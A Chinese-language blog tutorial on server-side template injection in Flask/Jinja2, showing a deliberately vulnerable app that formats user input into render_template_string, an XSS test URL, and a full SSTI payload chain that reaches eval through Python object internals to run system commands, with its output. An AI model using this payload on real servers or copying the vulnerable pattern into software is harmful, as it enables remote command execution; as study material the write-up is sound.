首页 > 其他分享 >【Flask模板注入】

【Flask模板注入】

时间:2023-04-20 10:13:58浏览次数:32  
标签:__ .__ Flask flask import id 模板 注入

【Flask模板注入】——概览

背景

Flask是python语言下的轻量级web应用框架,可以用来开发一些简单的网站。它使用Jinjia2渲染引擎(将html文件存放在templates文件夹中,当访问指定路由时,flask会渲染出相应的html页面)。

但是html文件中不一定都是html语言,Jinjia2引擎支持html文件中内嵌{{}}来使用特定的变量,或者使用{%%}来执行python语句。因此,就会导致模板注入SSTI(Server-Side Template Injection)。用户可以使用一些内置函数进行文件的读写或者远程命令执行。

实例

下面实现一个简单的flask搭建的web网页:

#coding=utf-8
from flask import render_template_string
from flask import render_template
from flask import Flask
from flask import request

app=Flask(__name__) #创建flask类

@app.route('/',methods=["GET","POST"])#路由
def index():
   s=request.args.get('id')
   return render_template('index.html',s=s)

if __name__ == '__main__':
   app.run('127.0.0.1',port=8000)

/templates/index.html :

<h1>id:{{s}}</h1>

这时访问url并进行传参:

image-20230418204210015

可以看到{{}}包裹的变量变成了输入的id值。

  • 尝试进行攻击

    http://127.0.0.1:8000/?id=%3Cscript%3Ealert(%27a%27)%3C/script%3E
    
    image-20230418210830685

    失败,因为现在的 Jinjia2 模板引擎一般默认对渲染的变量进行编码转义,因此我们不能直接操控模板的输出。

    如果要执行代码需要变成,让模板不进行转义:

    <h1>id:{{s|safe }}</h1>
    
  • 在render_template和render_template_string中,后者不会对输入的参数进行转义。但是在使用{{}}包裹变量时jinjia2模板引擎会自动对参数进行转义。使用格式化字符串%s时,就需要手动转义,因此会出现XSS漏洞。

    下面是一个格式化字符串%s的例子:

    #coding=utf-8
    from flask import render_template_string
    from flask import render_template
    from flask import Flask
    from flask import request
    
    app=Flask(__name__) #创建flask类
    
    @app.route('/',methods=["GET","POST"])#路由
    def index():
       s=request.args.get('id')
       return render_template_string('<h1>id:%s</h1>'%s)
    
    if __name__ == '__main__':
     app.run('127.0.0.1',port=8000)
    

    这里的数据和代码就被混淆了,这时使用我们的payload就会被执行。

SSTI

首先要了解一下python中的一些魔术方法:

__class__ #是一个特殊属性而不是方法,其返回类型所属的对象,注意是类的一个对象
__mro__ #返回一个元组,元组中包含当前类以及所有父类的顺序,按照python解析的顺序排列,需要类来调用;
__base__ #返回对象所继承的基类,(python中每个类都有一个基类,即该类所继承的父类)
__subclasses__ #返回一个列表,包含了直接继承该类的子类;是一个方法
__init__ #初始化类时自动调用,可以包含要传进类中的参数
__globals__ #返回一个字典,包含了当前模块中定义的全局变量和函数
  • 实例

    同样使用上面的web网站:

    http://127.0.0.1:8000/?id={{''.__class__}}  #显示一个空字符串的类
    

    返回:

    image-20230419112903549

    尝试找到object类:

    http://127.0.0.1:8000/?id={{''.__class__.__mro__}}  #返回str类的基类
    
    输出:id:(<class 'str'>, <class 'object'>)
    

    找到object类下的子类:

    http://127.0.0.1:8000/?id={{''.__class__.__mro__[1].__subclasses__()}}  #返回str类的基类,subclasses是一个方法所以要加括号
    

    输出:

    image-20230419150156983

    寻找一下里面没有file类,所以不能实现文件读取,但是可以尝试命令执行。

    这就需要寻找eval函数,需要使用__global__魔术方法来查看所有object子类的全局变量字典。

  • 寻找eval函数

    从大佬博客里看到了这段代码,用来查看object所有子类的构造函数:

    for i in range(0,len(''.__class__.__mro__[1].__subclasses__())):
        print("%d"%i,end="")
        print(''.__class__.__mro__[1].__subclasses__()[i].__init__)
    

    image-20230419164959565

    输出中包含wrapper的类说明被装饰器包装了,这样我们无法直接使用__global__属性查看其使用的全局命名空间。我们需要找到没有被装饰器包裹的类。

    看看这些没有装饰器类的全局命名空间是什么样:

    print(''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__)
    

    可以看到是一堆字典,在其中第81个子类中的__builtions__模块中包含了eval函数。

    据此来构造payload:

    http://127.0.0.1:8000/?id={{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("systeminfo").read()')}}
    

    输出:

    id: 主机名: DESKTOP-OPT5ESM OS 名称: Microsoft Windows 11 家庭中文版 OS 版本: 10.0.22000..........
    

    成功输出了systeminfo。因此只要将管道函数popen()中换成我们想执行的命令即可。

总结

  • 漏洞出现原因:模板文件中使用了格式化字符串,导致我们可以直接操控模板的输出。
  • SSTI:通过一些魔术方法,根据类之间的继承关系,从已知类一直找到包含eval、os、file等可以利用函数的类。

参考链接

https://ibukifalling.com/2021/07/13/SSTIstudy/

https://www.freebuf.com/column/187845.html

标签:__,.__,Flask,flask,import,id,模板,注入
From: https://www.cnblogs.com/capz/p/17335758.html

相关文章

  • Bootstrap模板-使用现成的免费完善模板制作网页
    Bootstrap有一系列现成的免费而优秀的模板,我们可以用于制作前端页面稍加改进就是一个美观的页面 模板代码(源自purpleTemplate):<!DOCTYPEhtml><htmllang="en"><head><metacharset="utf-8"><metaname="viewport"content="width=devi......
  • 【Mybatis】Idea中设置核心配置文件、映射文件的模板,获取SQLSession工具类
    1.核心配置文件模板<?xmlversion="1.0"encoding="UTF-8"?><!DOCTYPEconfigurationPUBLIC"-//mybatis.org//DTDConfig3.0//EN""http://mybatis.org/dtd/mybatis-3-config.dtd"><configuration>......
  • istio: 取消注入sidecar
    1.问题Consul注入istio以后,功能异常了,后台管理页面都打不开,无法选择leader:2023-04-19T09:33:27.886Z[ERROR]agent:Coordinateupdateerror:error="Noclusterleader"2023-04-19T09:33:46.598Z[ERROR]agent.anti_entropy:failedtosyncremotestate:error="Noclu......
  • c++primer 16模板(参考B站阿西拜编程视频)
              以上还是要写一个函数,我们可以采用c++17的新语法:按条件编译,以此来作为条件:    若将特例化函数模板放在函数调用之前的话:调用compare(p1,p2)将有两个版本适合,采用特例化版本;调用compare("hi","mom")也将有两......
  • python-SSTI模板注入
    一、python_SSTI模板注入介绍ssti漏洞成因ssti服务端模板注入,ssti主要为python的一些框架jinja2makotornadodjango,PHP框架smartytwig,java框架jadevelocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员......
  • 第五天sql注入随笔
    count*和groupby函数联合使用的时候,查出来的是每个分组里的记录个数1.updataxml函数第一个参数是string格式,是xml文档名字,第二个是xpath,是路径,字符串,第三个是字符串,是替换查找到的符合条件的数据,和extractvalue谁不被过滤用谁 3.floor函数floor是向下取整,而as是取名,比......
  • 设计模式-模板模式在Java中的使用示例-悍马模型制造示例
    场景设计模式-模板模式在Java中的使用示例:https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/130230732上面整理了模板模式的使用示例,为加强理解特记录另一个使用示例,以下示例摘自设计模式之禅第二版。模板方法模式定义一个操作中的算法的框架,而将一些步骤延迟到......
  • python用Flask写一个测试接口
    1.app.py内容fromflaskimportFlask,jsonifyapp=Flask(__name__)@app.route('/hello')defhello():returnjsonify({'message':'Hello,World!','status':'200'})if__name__=='__main__':......
  • C++恶意软件开发(四)通过查找进程名进行DLL注入
    通过进程名查找PID当我们编写注入器的时候,肯定是希望直接通过进程名进行注入,而不是像上一篇笔记一样通过手动输入PID进行查找。通过进程名查找PID的步骤如下:(1)创建系统中所有进程的快照(2)保存系统快照中遇到的第一个进程的信息(3)循环检索系统中进程的信息是否匹配需要查......
  • flask案例
    简单的flask‘sDemo#app.pyfromflaskimportFlask,render_template,jsonify,request,redirect,url_for,sessionimportfunctoolsapp=Flask(__name__)app.secret_key='adsa12dsa3456dasdsadsa'DATA_DICT={1:{"name":"陈三&......